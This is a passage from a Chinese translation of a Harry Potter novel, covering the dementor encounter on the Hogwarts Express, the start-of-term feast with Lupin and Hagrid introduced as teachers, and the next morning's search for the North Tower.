“显然,”赫敏悄声说,“只有一个空位子,对不对?‘黑魔法防御术’。” 哈利、罗恩和赫敏已经有过两位教这门课程的老师了,两人都只教了一年。 有谣言说,这份工作是注定要失败的。 “晤,我希望他能胜任。”罗恩狐疑地说,“像是施展一下魔法就会结果了他似的,他看起来是不是这样?不管怎么样...”他转向哈利,“你要和我们说什么呀?” 哈利把韦斯莱夫妇的争论、韦斯莱先生方才给他的警告等等都告诉了他们。 他说完以后,罗恩好像遭到了雷击一样,赫敏则双手掩住了嘴。最后她放下手来说:“小天狼星布莱克逃出来是为了要追你?哦,哈利...你一定要多加小心啊,要非常小心啊。不要自找麻烦,哈利...” “我没有自找麻烦啊,”哈利恼怒地说,“通常总是麻烦找上我的。” “哈利会笨到什么地步,才会去找一个想杀他的疯子?”罗恩颤抖着说。 他们对这条新闻的看法要比哈利预料的严重得多。罗恩和赫敏似乎都比他害怕布莱克。 “没有人知道他是怎么逃出阿兹卡班的,”罗恩别扭地说,“以前从来没有人做到这一点。而且他还是个头等要犯呢。” “但是他们会抓住他的,是不是?”赫敏真诚地说,“我的意思是说。他们已经叫所有的麻瓜去找他了...” “哪里来的噪音?”罗恩突然说。什么地方传来微弱纤细的哨声。他们在车厢里四处寻找。 “从你的箱子里发出来的,哈利。”罗恩说,站起来到行李架上去拿那箱子。不一会儿,他就把那个袖珍窥镜从哈利的长袍里拿出来了。它在罗恩的手掌上旋转得很快,而且光华灿烂。 “这是架窥镜吗?”赫敏感兴趣地问道。站起来想看个仔细。 “是啊...要知道,这是很便宜的。”罗恩说,“我把它拴到埃罗尔腿上要送给哈利的时候,它就疯疯癫癫的。” “你那时候是不是正在做什么事啊?”赫敏尖锐地问道。 “没有!唔...我倒是不应该用埃罗尔的。你知道它不是很能胜任长途旅行...不过,不这么做,我怎么能把礼物送到哈利那边呢?” “把它塞回箱子里去,”哈利说。因为那玩意儿尖叫得厉害,“要不然该吵醒他了。”他向卢平教授那边点点头。 罗恩把它塞到了弗农姨父给哈利的一双旧袜子里面,这就掩盖住了它的声音,然后罗恩又关上了箱子盖。 “我们可以在霍格沃茨把它检查一下,”罗恩说,又坐了下来,“德维斯和班斯出售这种东西,弗雷德和乔治告诉我的。” “你对霍格莫德很了解吗?”赫敏敏锐地问道。“我从书上读到,这是英国唯一一处没有麻瓜的地方——” “是啊,我想是的,”罗恩不在意地说,“但是这不是我想去的原因。我就是想到蜂蜜公爵去!” “那是什么啊?”赫敏问道。 “是家糖果店,”罗恩说,脸上出现了一种梦幻似的表情。“那里什么都有...胡椒小顽童啊——吃了它嘴里就冒烟——还有油油的巧克力球,里面全是草莓奶油冻和一般奶油冻,还有真正绝妙的糖做的羽毛笔,你在课堂上就可以吮吸,看起来就像是你在考虑下一步怎么写似的——” “但是霍格莫德是个很有趣的地方,对不对?”赫敏急切地追问。“《巫师古迹》这本书说,那家小旅馆是一六一二年妖怪造反的司令部,那间尖叫棚屋可能是全英国鬼魂作祟最厉害的房屋——” “——极大的冰糕球让你在吮吸的时候离地飘浮好几英寸。”罗恩说,他对于赫敏说的话,肯定一个字也没有听进去。 赫敏看看哈利周围。 “离开学校一小会儿,到霍格莫德去探索一番,这多么好,是不是?” “我想也是。”哈利闷闷不乐地说,“你们有这种感觉的时候,一定要告诉我。” “你这话是什么意思?”罗恩说。 “我不能去。德思礼家的人没有给我签那张同意表,福吉也不肯。” 罗恩看上去吓坏了。“不让你去吗?不过——没准儿——麦格教授或者别的什么人会批准你去——” 哈利干笑了一声。麦格教授,格兰芬多院的院长,是很严格的人。 “——要不然我们可以问弗雷德和乔治,他们知道走出城堡的每一条秘密通道——” “罗恩!”赫敏尖锐地说,“在布莱克逍遥法外的情况下,我认为哈利不应该偷偷离开学校——” “是啊,我料想我要求批准的时候,麦格教授就会这样说的。”哈利痛苦地说。 “不过要是我们和他在一起的话。”罗恩生气勃勃地对赫敏说,“布莱克就不敢——” “哦,罗恩,别说废话了。”赫敏厉声说,“布莱克已经在拥挤的街道上杀了那么多人,你难道真的认为仅仅是因为我们在场,布莱克就会对哈利下不了手吗?”她一面说,一面摸索着解开克鲁克山篮子上捆绑的带子。 “别把这东西放出来!”罗恩说。但是已经晚了,克鲁克山轻松地从篮子里跳出来,伸伸懒腰,打打哈欠,然后跳到罗恩的腿上。罗恩口袋里的那个鼓块颤抖起来,罗恩恼怒地撵走了克鲁克山。 “滚开!” “罗恩,别这样!”赫敏生气地说。 罗恩正要反驳,卢平教授动了一下。他们害怕地看着他,但是他只是把脑袋扭到了另一个方向,略微张开嘴巴,又继续睡下去了。 霍格沃茨特快专列稳当地向北驶去,窗外的景色越来越有野趣,也越来越黑,同时,头顶上的云彩越来越浓重。在他们车厢的门外,不停地有人来回走动。 克鲁克山现在安安稳稳地待在一个空位子上,它那压扁了似的脸转向罗恩,它的黄眼睛注视着罗恩的口袋。 一点钟的时候,食品车扑通扑通地来到了他们的车厢门前。 “你们说,我们应该叫醒他吗?”罗恩尴尬地问道,向着卢平教授那边点点头。“他看上去好像需要吃点东西。” 赫敏小心翼翼地走近卢平教授。 “哦——教授?”她说,“对不起——教授?” 他没有动弹。 “别担心,亲爱的,”那女巫说,一面把一大排大锅烤饼递给哈利,“要是他醒来的时候饿了,到最前面司机那里去找我好了。” “他是在睡觉吗?”罗恩安静地说,这时女巫把车厢门关上了,“我意思是说——他没有死吧?” “没,他还有呼吸。”赫敏悄声说,接过哈利递给她的大锅烤饼。 卢平教授也许不是好伙伴,但他在这间车厢里对他们是有用的。下午,开始下雨了,窗外连绵不断的小山的轮廓模糊起来,这时,他们又听见走廊里有脚步声,然后三个他们最不喜欢的人来了:德拉科·马尔福,后面跟着他的两个密友,文森特·克拉布和格雷戈里·高尔。 德拉科·马尔福和哈利,从他们第一次登上霍格沃茨特快专列,相遇的时候开始,就是敌人。马尔福面色苍白瘦削,神色讥诮,是斯莱特林的学生。他在斯莱特林的魁地奇球队当找球手,而哈利在格兰芬多队充当同一角色。克拉布和高尔好像生来就是听马尔福支使的。这两人都膀大腰圆,肌肉结实。克拉布高一些,头发剪得像布丁盆子一样,脖子很粗。高尔个子矮,头发多,手臂长得跟大猩猩似的。 “唔,看这是谁呀,”马尔福用他平常那种懒懒的、拖长的声调说,拉开了车厢的门,“波特和韦斯莱。” 高尔和克拉布乱哄哄地笑起来。 “我听说你爸今年夏天终于发了点财,韦斯莱?”马尔福说,“你妈没有死于休克吧?” 罗恩站起来,动作那么快,以至于把克鲁克山的篮子踢到了地上。卢平教授哼了一声。 “那是谁?”马尔福问道,他看见卢平以后不由自主地后退了一步。 “新来的教师。”哈利说,他也站起来了,以便在需要时把罗恩拉回来。“你刚刚在说什么,马尔福?” 马尔福淡色的小眼睛眯起来了:他还没有笨到在一位教师面前挑衅的地步。 “走吧。”他愤怒地对克拉布和高尔咕哝道,于是他们走开了。 哈利和罗恩又坐了下来,罗恩抚摩着手指关节。“今年我可不要听马尔福的胡说八道,”他生气地说,“我是当真的。只要他再一次挖苦取笑我们家人,我就要抓住他的脑袋——”罗恩比划着做了个猛烈的动作。 “罗恩,”赫敏尖声说,一面指着卢平教授。“小心...”但卢平教授仍然在熟睡之中。 火车继续向北开,雨下得越发大了;现在窗玻璃呈现出一片浓密黏糊的灰色,而且逐渐加深,直到走廊里和行李架上的灯都亮了起来。火车摇摇晃晃,雨点敲着车窗,风吼着,但卢平教授仍然在睡觉。 “我们大概是要到了。”罗恩说,俯身向前看看倚在车窗旁边的卢平教授,现在窗外已经完全黑了下来。他这句话刚刚说完,火车就慢下来了。“太好了。”罗恩说着站了起来,小心翼翼地绕过卢平教授,想看看外面的情况。“我饿死了,我想大吃一顿...” “我们不可能已经到了。”赫敏看看她的表说。 “那为什么停下来了?” 火车越走越慢。车轮的声音小了,窗外的风雨声更大了。哈利离门最近,正好起身去看看走廊里的情况。走廊边上的各个车厢里,都有人探头出来张望。火车忽地一震,停了下来,远处传来砰砰啪啪的声音,说明行李从架子上掉了下来。 然后,所有的灯忽然之间都灭了,他们被投入了彻底的黑暗之中。“出什么事了?”罗恩的声音从哈利背后传来。 “哎哟!”赫敏气喘吁吁地说,“ 罗恩,那是我的脚!” 哈利摸索着回到自己的座位上。“你说是火车坏了吗?” “不知道...” 传来一阵吱吱吱短促刺耳的声音,哈利看见了罗恩模糊不清的黑色轮廓。罗恩在窗玻璃上抹出一块干净地方,正在往外看。 “那儿有什么东西在动,”罗恩说,“我猜人们在往外走...” 车厢的门突然开了,有人痛苦地跌到了哈利腿上。 “对不起!你知道出了什么事吗?哎哟!对不起——” “你好,纳威。”哈利说,在黑暗里摸着纳威的外衣把他拉了起来。“哈利?是你吗?发生什么事了?” “不知道!坐下——” 一阵响亮的嘶叫声,和一声因负痛而发出的大叫,原来纳威误坐到克鲁克山身上去了。“我正要去问司机这是怎么回事。”这是赫敏的声音。哈利觉得她走过他身边,听到车厢的门又被打开了,然后是一声钝响,又是两声吱吱的尖叫。 “那是谁呀?” “那是谁呀?” “金妮吗?” “赫敏吗?” “你在干吗?” “我在找罗恩——” “进来,坐下——” “不在这儿!”哈利急促地说,“我在这儿!” “哎哟!”纳威叫道。 “安静!”忽然有一个粗哑的声音说道。卢平教授好像终于醒过来了。 哈利可以听到在卢平教授那边有人在动。他们谁也没说话。车厢里有一种轻微的爆裂声,出现了一道颤抖的光线。 卢平教授似乎拿着一把火,火光照亮了他疲倦发灰的脸,但他的眼睛却是警惕而小心谨慎的。 “待在原地不要动。”他说,还是那粗哑的声音。 他慢慢地站了起来,满是火的手伸在他的前方。但在他走到车厢门边以前,门慢慢地开了。 站在门道里、被卢平手中摇曳不定的火光照亮了的,是一个身披斗篷、身高可及天花板的怪物。它的脸完全隐藏在头巾下面。哈利的眼睛向下看去,他所看见的东西让他的胃紧缩起来:一只手从斗篷里伸出来,这只手发出微光,灰色、瘦削而且结了痂,像是什么东西死了、又泡在水里腐烂了...那只手现形不到一秒钟的工夫。斗篷底下的怪物好像感觉到了哈利的注视,那只手就突然缩到黑色斗篷的褶层里去了。 然后,头巾下面的东西,不管它是什么,抽了一口气,又长又慢,还颤巍巍的,好像努力要从周围吸进除了空气以外的某种东西。 他们都感到一阵寒意掠过全身。哈利感到自己的呼吸凝结在胸中了。这阵寒意穿透了皮肤,一直冷到他的胸膛,冷到他的心里...哈利的眼睛向上一翻。他什么也看不见了。他淹没在寒冷之中了。耳朵里汹涌澎湃,像水流在冲击。他被往下拉,耳朵里的声音更响了...然后,从远处,他听到尖叫,可怕的、受到惊吓的、哀求的尖叫。他想帮助在尖叫的人,不管他是谁,但他做不到...一层白色的浓雾环绕在他的周围,在他身体里面... “哈利!哈利!你没事吧?”有人在打他的脸。“怎——怎么啦?” 哈利睁开了眼睛。在他的上方有灯,地板在震动——霍格沃茨特快专列继续行进,灯又亮了。他似乎从座位上滑到了地上。罗恩和赫敏跪在他身旁,他可以看到卢平教授和纳威俯身低头看着他。他感到很难受:他伸手把眼镜向上推推,摸到了自己脸上的冷汗。 罗恩和赫敏扶他回到座位上去。 “你没事吧?”罗恩紧张地问。 “没事,”哈利说,赶快向门那边看。戴头巾的怪物已经不见了...“刚刚怎么啦?那个——那怪物哪里去了?刚才是谁在尖叫?” “没有人尖叫啊。”罗恩说。仍旧很紧张的样子。哈利环顾明亮的车厢四周。金妮和纳威也在看着他,两人脸色都很苍白。 “但是我听到了尖叫声...” 啪的一声,吓得他们都跳了起来。卢平教授正在把一大块巧克力掰成小块。 “给你,”他对哈利说,递给他特别大的一块,“吃下去。对你有好处。” 哈利接过这块巧克力,但是没有吃。“刚才那是什么东西?”他问卢平。 “一个摄魂怪,”他说,一面向所有的人分发巧克力,“一个来自阿兹卡班的摄魂怪。”大家都瞪眼看着他。卢平教授把已经空了的巧克力包装纸揉成一团,放进自己的口袋里。 “吃吧,”他又说道,“吃下去有好处。我要找司机说句话,对不起...”他从哈利面前走过,消失在走廊里。 “你肯定没事,哈利?”赫敏说,焦急地看着哈利。 “我不懂...刚才发生了什么事?”哈利说,抹去脸上又冒出来的汗。 “唔——那家伙——摄魂怪——站在那里向四周看。我意思是说,我想它是这么做的,我看不见它的脸——而你——你——” “我想你是吓着了或者是别的什么,”罗恩说,仍旧很害怕的样子。“你全身发僵,从座位上跌下来,开始抽搐——” “卢平教授从你身上跨过去,向那摄魂怪走过去,拿出他的魔杖。”赫敏说,“他说:‘我们谁也没有把小天狼星布莱克藏在斗篷下面,去吧。’但那摄魂怪没有动,卢平教授就咕哝了一句什么,他的魔杖上就发出一道银色的光。那家伙就转身好像是滑走了...” “真可怕,”纳威说,声音比他平时要高。“那东西进来的时候,你们觉得冷吗?” “我觉得古怪,”罗恩说,不舒服地扭动了一下肩膀,“好像我再也不会高兴起来了...” 金妮蜷缩在角落里,那副模样和哈利差不了多少,低低地抽泣了一下。赫敏走过去,用手臂抚慰般地搂住她。 “你们之中还有人——从座位上跌下来吗?”哈利尴尬地问。 “没有。”罗恩说,又焦急地看着哈利,“金妮抖得不可开交,不过..”哈利真不明白。他觉得软弱无力,还发抖,好像是在一场厉害的流感之后刚恢复过来;他开始觉得不好意思。别人都好好的,他怎么就会吓成这样呢? 卢平教授已经回来了。他进来时停顿了一下,环顾四周,微微一笑,说:“我没有在巧克力里下毒啊,你们知道...” 哈利咬了一口,让他觉得非常惊讶的是,一股暖流突然散布到他的手指尖和脚趾尖。 “十分钟之后,我们就到霍格沃茨了。”卢平教授说,“你好了,哈利?” 哈利没有问卢平教授怎么知道他的名字。“好了。”他低声说,很不好意思。 在剩下的旅途中,他们没有多谈什么。最后。火车终于在霍格沃茨车站停了下来,下车的时候可真是一片忙乱:猫头鹰啼叫,猫儿喵喵,纳威的宠物蟾蜍在他的帽子底下呱呱叫着。那小小的站 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马车滚滚行进,前方是一对宏伟壮丽的铸铁门,两旁是许多石柱,顶端有带翼的野猪,哈利看到又有两名身材高大、戴头巾的摄魂怪站在大门两旁守卫着。似乎又有一阵寒潮向他袭来。他缩到凹凸不平的座位里去,闭上眼睛,直到他们走进了大门。马车在长长的斜坡车道上提高了速度,一直驶到城堡前;赫敏探身窗外,看着许多角塔和塔楼渐渐向他们靠近。最后,马车摇摇摆摆地停下来了,赫敏和罗恩下了车。 哈利下车的时候,耳边响起了一个拖长的、慢吞吞的声音。 “你昏过去了,波特?隆巴顿说的是真话吗?你真的昏倒了?” 马尔福挤过赫敏面前,挡住哈利经过石阶走进城堡的路,他一脸得意。那双淡色的眼睛恶意地闪着。 “走开,马尔福。”罗恩咬着牙说。 “你是不是也昏过去了,韦斯莱?”马尔福大声说。“那骇人的老家伙也吓着你了吧,韦斯莱?” “出什么事了吗?”一个温和的声音问道。卢平教授刚从后面一辆马车下来。 马尔福傲慢地瞪了卢平教授一眼,把卢平教授长袍上的补丁和那只破破烂烂的箱子都看在了眼里。他声音里带着一股讽刺的意味说道:“哦,没有——哦——教授。”然后他对克拉布和高尔傻笑了一阵,带领他们走上石阶进城堡去了。 赫敏在哈利背后推了他一把,要他快点走,这三人就加入了走上石阶的人群,走过那扇巨大的橡木门,走进深深的前厅;前厅里火把照得很亮。厅里有一道宽阔的大理石楼梯通往楼上。 通往礼堂的右边那道门开着,哈利跟着人群向大厅走去,但他还没来得及看一看那带魔力的天花板——今晚这天花板又黑又暗——就听到一个声音叫道:“波特!格兰杰!我要见你们两个人!” 哈利和赫敏转过身来,很惊讶。格兰芬多院院长,麦格教授正越过人群在招呼他们。她是个看上去很严厉的女巫,头发梳成紧紧的发髻,一双尖锐的眼睛上戴着一副方形眼镜。哈利挤到她面前,心里感到有什么事情要发生,麦格教授总让他觉得自己有什么事做错了。 “不用这么愁眉苦脸的——我只不过要在办公室里和你们说句话。”她告诉他们。“韦斯莱,到那边去。” 罗恩眼睛瞪得滚圆,看着麦格教授穿过闲聊的人群,带着哈利和赫敏渐行渐远。他们两人陪着她穿过前厅,走上大理石楼梯,再沿着走廊走去。 他们踏入麦格教授的办公室,这是个温馨的小房间。一进门,壁炉里那暖烘烘的旺火便跃入眼帘,火苗欢快跳跃,似在热忱地迎接众人。麦格教授示意哈利和赫敏坐下,她自己坐在桌子后面,突然说:“卢平教授先派了一只猫头鹰来,说你在火车上病了,波特。” 在哈利开口回答以前。有人轻轻敲门,护士长庞弗雷夫人急急忙忙地走进来。 哈利觉得自己脸红了。他昏了过去,或者是不管他干了什么,即使人们没有为此大惊小怪,就已经够糟的了。 “我好好的,”他说,“我不需要任何——” “哦,是你啊?”庞弗雷夫人说,完全不理他的话,一面弯下身子以便能更近一点看他。“我想你又做了什么危险的事了吧?” “是一个摄魂怪,庞弗雷。”麦格教授说。 她们交换了个不明显的眼色,庞弗雷夫人发出不赞同的咯咯声。 “让摄魂怪驻扎在学校周围,”她咕哝着把哈利的头发拨开,摸摸他的额角。“他不会是第一个崩溃的人。是啊,他全身又冷又湿。那是些可怕的东西,它们对那些经不起碰的人所产生的影响——” “我可不是经不起碰的!”哈利发怒地说。 “你当然不是啦。”庞弗雷夫人心不在焉地说,摸着哈利的脉。 “他需要什么?”她轻快地问,“卧床休息?他今晚应该在医院里度过吗?” “我好好的!”哈利说着,跳起身来。如果他必须进医院,德拉科·马尔福不知道会说些什么,想到这一点,他就觉得是一种折磨。 “好吧。他至少应该吃些巧克力。”庞弗雷夫人说,一面设法往哈利的眼睛里看。 “我已经吃过一些了,”哈利说,“卢平教授给了我一些。他也给大家了。” “是吗?”庞弗雷夫人赞许地说,“那么说,我们到底有了一位懂治疗方法的黑魔法防御课教授了。” “你肯定自己没事吗,波特?”麦格教授严厉地问道。 “肯定。”哈利说。 “很好。请到外面等一下,我和格兰杰小姐要就她的时间表说几句话,然后我们可以一起去就餐。” 哈利和庞弗雷夫人一起来到走廊里,庞弗雷夫人离开他回到侧厅去了,一路自己咕哝着什么。他他才等了短短几分钟,赫敏便出现了。只见她满脸笑意,眼睛里闪烁着喜悦的光芒,显然是有什么喜事让她格外开心,她身后是麦格教授,他们三个人走下楼梯到了礼堂里。 礼堂里是一片尖顶黑帽子的海洋,每张长长的桌子旁边都坐满了学生,成千支蜡烛照得他们脸庞发亮,这些蜡烛悬浮在桌子上方的半空中。弗立维教授是位一头白发的矮小男巫,他拿着一顶古老的帽子和一只三脚凳走出礼堂。 “哦,”赫敏轻柔地说,“我们错过分院仪式了。” 霍格沃茨学校的新学生要戴上分院帽,以便决定他们应该到哪一个学院学习,这顶帽子会大声叫出他们最适合就读的学院(格兰芬多、拉文克劳、赫奇帕奇或是斯莱特林)。 麦格教授慢慢走向她在教师席的空座位,哈利和赫敏则尽量安静地走向相反的方向,即格兰芬多的桌子。 他们沿着礼堂后面走过的时候,人们都回过头来看他们,有几个人对哈利指指点点。他昏倒在摄魂怪的面前,这件事就传得那么快吗?他和赫敏分别坐在罗恩两旁,罗恩给他们留了位子。 “刚才叫你们去有什么事啊?”他低声问哈利。 哈利开始小声向他解释,但这时校长站起来说话了,他就住了嘴。 邓布利多教授虽然很老了,却总是给人以精力充沛的印象。他的头发和胡子都有几英尺长,他戴着半月形眼镜,鼻子钩得厉害。人们时常说他是当今最伟大的男巫,但哈利尊敬他可不是为了这一点。你不由自主地要信任邓布利多教授,当哈利看到他对全场学生微笑时,哈利觉得,自从那摄魂怪进入火车车厢以来,他第一次真正镇静下来了。 “欢迎!”邓布利多教授说,蜡烛的光辉照得他的胡子闪闪发光,“欢迎在新学年来到霍格沃茨!我有几句话要对你们大家说,其中有一件事是非常严肃的,我想,不如在你们被这顿美餐弄得迷迷糊糊以前,把这件事说清楚...” 邓布利多清了清嗓子继续说下去。“它们搜查了霍格沃茨特快专列以后,你们想必都知道了。目前我们学校要接待若干阿兹卡班来的摄魂怪,它们来这里是为了执行魔法部的公务。” 他停了一下,哈和想起韦斯莱先生曾经说过,邓布利多对摄魂怪守卫学校这件事是不乐意的。 “它们将会驻扎在学校这片场地的所有入口,”邓布利多继续说,“在它们在此逗留期间,我必须说清楚的是,任何人未经允许都不得离开学校。摄魂怪不应该受到玩花招或者伪装的欺骗——哪怕是隐形衣也不行。”他面无表情地加上了这一句,哈利和罗恩相互看了一眼。“摄魂怪天生不懂得什么是请求或是借口。因此我警告你们每一个人:不要给它们以伤害你们的任何借口。我指望级长们,还有我们新上任的男生学生会主席和女生学生会主席,你们要保证任何学生都不会和摄魂怪发生冲突。” 珀西坐的地方离哈利只有几个位子,这时他又挺起胸膛,给人印象深刻地向周围看了一看。 邓布利多又停了一下,他很严肃地环顾了一眼礼堂,没有人动,也没有人发出声音。 “比较令人高兴的是,”他继续说,“今年,我很高兴地欢迎两位新老师加入我们的队伍。 “第一位是卢平教授,他慷慨地同意补上黑魔法防御术这门课的空缺。” 响起了一些零零落落、不怎么热情的掌声。只有火车上与他同处一节车厢的学生,才使劲地鼓掌,哈利是其中之一。卢平教授坐在所有穿着讲究的教师当中,显得格外寒酸。 “看斯内普!”罗恩低声对着哈利的耳朵说。 魔药课教师斯内普的目光沿着□□的长桌一直盯着卢平教授。大家都知道斯内普教授一直想担任黑魔法防御术课的教师,但就连恨斯内普的哈利也对斯内普那瘦削、灰黄色脸庞上扭曲的表情大为惊讶。那种表情已经超过了恼怒,那是憎恶。哈利对这种表情太清楚了,斯内普每次眼光落到哈利脸上时就是这样的。 “至于我们任命的第二位教师,”给卢平教授的不太热情的掌声消失以后。邓布利多继续说,“唔,我遗憾地告诉你们,我们的保护神奇生物课的教师,凯特尔伯恩教授去年年底退休了,以便有更多时间和他剩下的小淘气在一起。然而,我高兴地宣布,不是别人,而是由鲁伯·海格来填补他的空缺,海格已经同意在担任狩猎场看守之外,兼任教师之职。” 哈利、罗恩和赫敏彼此大眼看小眼,呆住了。然后他们加入了鼓掌的行列,格兰芬多桌子上的掌声格外热烈。哈利俯身向前去看海格,只见他满脸通红,瞪眼看着他那双大手,他的微笑隐藏在他乱糟糟的黑胡子里。 “我们早就应该知道的!”罗恩吼道,捶着桌子,“换做别人,有谁会让我们去弄一本会咬人的书?” 哈利、罗恩和赫敏是最后停止拍手的。当邓布利多教授又开始说话的时候,他们看到海格在用桌布擦眼睛。 “好吧,我想重要的事已经说完了,”邓布利多说,“开始用餐吧。” 眨眼间,他们面前的金色盘子与高脚酒杯,就盛满了食物和饮料。哈利觉得自己饿极了,于是他把够得着的食品都拿了一些,开始吃起来。这是一顿丰盛的大餐,礼堂里回响着欢声笑语和刀叉的碰撞声。 然而,哈利、罗恩和赫敏急于吃完饭,好和海格说话。他们知道担任教师对他来说意味着什么。海格不是完全够格的男巫:三年级时,由于不是他犯的错误而被开除出霍格沃茨。是哈利、罗恩和赫敏去年帮海格清洗了名誉。 最后一小块南瓜馅饼从金色的盘子上消失了,邓布利多发话说大家都应该去睡觉了,他们三个人才得到了机会。 “恭喜,海格!”他们走向教师席时,赫敏尖声叫道。 “多亏了你们三个啊。”海格说,抬头边看他们,边用餐巾擦他那发光的脸。 “简直不能相信...了不起的人啊,邓布利多...凯特尔伯恩教授说他受够了以后,直截了当找到我...这正是我一直想要的...”他心情激动,用餐巾捂住了脸,麦格教授示意他们走开。 哈利、罗恩和赫敏与格兰芬多的学生一起拥上那大理石楼梯,他们现在已经很疲倦了,还要沿着更多的走廊,爬更多的楼梯,走到格兰芬多塔楼那隐藏着的入口处。 一幅大大的穿着粉红衣服的胖夫人肖像画问他们:“口令?” “获得成功,获得成功!”珀西从人群后面叫道,“新口令是吉星高照!” “哦,不。”纳威·隆巴顿悲哀地说。他总是记不住口令。 女孩和男孩们穿过肖像画上的洞,走过公共休息室,各自走向自己的楼梯。 哈利爬上螺旋形楼梯,心里什么也没想,只想着回校是多么高兴的事。 他们走到熟悉的、有五张床位的宿舍,哈利环顾四周,觉得终于到家了。 44. 猎鹰与茶叶 哈利、罗恩和赫敏第二天早晨走进礼堂吃早饭的时候,他们首先看见的是德拉科·马尔福,他似乎正在给斯莱特林的一大批人讲着一个很有趣的故事。在他们路过时,他佯装昏倒,滑稽模样惹得哄堂大笑。 “别理他,”赫敏说,她正走在哈利后面,“就是别理他,不值得的...” “嘿,波特!”斯莱特林的一个女孩子、脸长得像狮子狗的潘西·帕金森尖叫道。“波特!摄魂怪来了,波特!呵呵,呵呵呵!” 哈利坐到格兰芬多桌旁的一个座位上,正在乔治·韦斯莱的旁边。 “新的三年级课程表。”乔治说,向大家分发着,“你怎么啦,哈利?” “马尔福。”罗恩说,坐在乔治的另外一边。回头看斯莱特林那张桌子。 乔治及时抬头,正好看见马尔福又在假装吓得昏过去。“那小蠢货,”他镇静地说,“昨晚那摄魂怪进入列车厢的时候,他可没有这样趾高气扬。吓得跑到我们车厢来了,是不是,弗雷德?” “差点儿没把自己尿湿。”弗雷德说,轻蔑地看了马尔福一眼。 “我自己也不特别高兴,”乔治说,“那些摄魂怪是可怕的东西...” “ 好像让你五脏六腑都冻结住了,是不是?” 弗雷德说。 “不过你没有昏过去呀,是不是?”哈利低声说。 “忘掉这件事,哈利。”乔治振奋精神说,“我爸曾经去过一次阿兹卡班,记得吗,弗雷德?他说那是他所去过的最坏的地方。他回来的时候浑身软弱还发着抖...那些摄魂怪,它们把一个地方的欢乐都吸走了。多数犯人在那里都发疯了。” “不管怎么说,我们将看见第一次魁地奇比赛以后,马尔福会是什么样子。”弗雷德说,“格兰芬多对斯莱特林,季度第一次比赛,记得吗?” 哈利和马尔福在魁地奇比赛中只有一次面对面,这次比赛马尔福肯定比哈利糟得多。想到这里,哈利高兴了一点儿,拿了些香肠和炸西红柿。 赫敏正在看她的新课程表。“哇,好,今天有几门新课要上。”她快乐地说。 “赫敏,”罗恩说,从她肩上看课程表,皱起了眉头,“他们把你的课程表搞乱了。你看——他们给你一天排了足有十门课。时间不够啊。” “我会想办法的。我已经和麦格教授谈好了。” “但是看呀,”罗恩大笑着说,“看见今天上午的了吗?九点钟,占卜。下面,九点钟,麻瓜研究,还有——”罗恩更靠近那张课程表,无法相信,“看哪——在这下面是算术占卜,九点钟。我意思是说,我知道你棒,赫敏,不过没有人棒到这种程度,你怎么能同时上三门课呢?” “别犯傻,”赫敏暴躁地说,“我当然不能同时上三门课了。” “唔,那么——” “把果酱递给我。”赫敏说。 “但是——” “哦,罗恩,我的课程表有一点满,那跟你有什么关系?”赫敏厉声说。“我告诉你,我已经和麦格教授完全谈好了。” 就在这时,海格走进了大厅。他身穿鼹鼠皮大衣,一只大手心不在焉地挥动着一只死鸡貂。 “都好吗?”他急切地说,在走向教师桌的半路停了下来。“你们要上我的第一堂课!午饭以后就是!五点钟就起床了,什么都弄妥了...希望一切都好...我...当教师了...说实在的...” 他对他们咧着大嘴笑起来,然后向教师的桌子走去了,仍然挥动着那只死鸡貂。 “不知道他在准备什么?”罗恩说,声音里有一丝焦急。 人们去上第一节课了,礼堂开始空下来。罗恩检查自己的课程表。 “我们快走吧,看,占卜课在北塔楼顶上。我们要走十分钟才能到...” 他们匆忙吃完早饭,对弗雷德和乔治说了再见,就从礼堂走回去了。他们经过斯莱特林的桌子时,马尔福又假装了一次昏厥。哄笑声跟着哈利走进了前厅。从城堡到北塔楼很远。他们虽然已经在霍格沃茨待了两年,却仍然没有熟悉城堡里的一切,他们以前从来没有到北塔楼里面去过。 “肯定——会——有——近路的。”罗恩喘息着说,此时他们正在爬第八层楼梯,来到一处陌生的平台,那里什么也没有,只在石墙上挂有一幅大画,画面上是一片草原。 “我想应该往这边走。”赫敏边说边往右边的那条通道张望着。 “不可能,”罗恩说,“这是南。看,从窗子外边可以看到湖的一角...” 哈利在看那幅画。一头肥肥胖胖、有深灰色斑纹的矮种马刚从容轻松地跳到草地上,正在若无其事地吃草。哈利对霍格沃茨中的画里的东西到处乱逛,并且离开画框彼此串门的事早已司空见惯,不过他总是愿意观察它们。 过了一会儿,一个身穿甲胄的矮胖骑士就发着当啷当啷的声音,进入了画里寻找他的矮种马。从他金属膝盖上所沾染的青草污渍来看,他刚才从马上摔下来着。 “啊哈!”他大叫,看到了哈利、罗恩和赫敏,“胆敢闯到我的私人领地上来的恶棍是谁?竟然讥笑我的偶然捧跤吗?拔剑,你们这些无赖、狗东西!” 他们惊讶地看到这位小骑士从鞘中拔出剑,开始猛烈地挥舞起来,并因狂怒而上下跳跃。但那把剑对他来说是太长了,幅度特别大的一招使他失去平衡,于是他脸朝下跌在草地上。 “你没事吧?”哈利问道,一面更走近了那幅画一些。 “回去,你这下流的吹牛者!去,你这流氓!” 那骑士又抓住了剑,用剑支撑自己爬起来,但那把剑深深地插进草里去了,尽管他用全力去拔,却拔不出来。最后他不得不噗的一声又坐到草地上,把面甲推上去,擦他那满是汗水的脸。 “听着,”哈利趁这骑士疲惫不堪时说,“我们在找北塔楼。你不知道怎么走吧,是不是?” “寻找!”骑士的怒气似乎立即踪影全无。他当啷当啷地站起身来大叫道:“来吧,跟着我,亲爱的朋友们,我们会找到我们的目标的,要不然我们就在冲锋中勇敢地死去!” 他又去拔那把剑,仍然没有成功,想跨上那匹肥胖的矮马,也没有如愿,只好叫道:“那么就徒步吧,两位先生和这位女士,前进!前进!” 于是他当啷当啷地响着跑到画框的左边,然后看不见了。他们沿着走廊匆忙地跟着他,跟着他的当啷声。他们时不时地看到他跑过前面的一幅画。 “勇敢起来吧,前面还有更糟的事呢!”骑士大声叫着,他们看见他又出现在一群穿着有裙撑的裙子的受惊妇女前面,她们的肖像是挂在一道狭窄的螺旋形楼梯的墙壁上的。 哈利、罗恩和赫敏大口喘着气,爬上这旋转得厉害的搂梯。越来越感到眩晕,最后他们听到了头顶上嗡嗡的说话声,知道他们已经到教室了。 “再见!”骑士叫道,把脑袋伸进一幅画里,这幅画上有几个看上去阴险邪恶的和尚。“再见,我的战友们!如果你们需要高尚的心灵和钢铁般的肌肉,别忘了叫我卡多根爵士!” 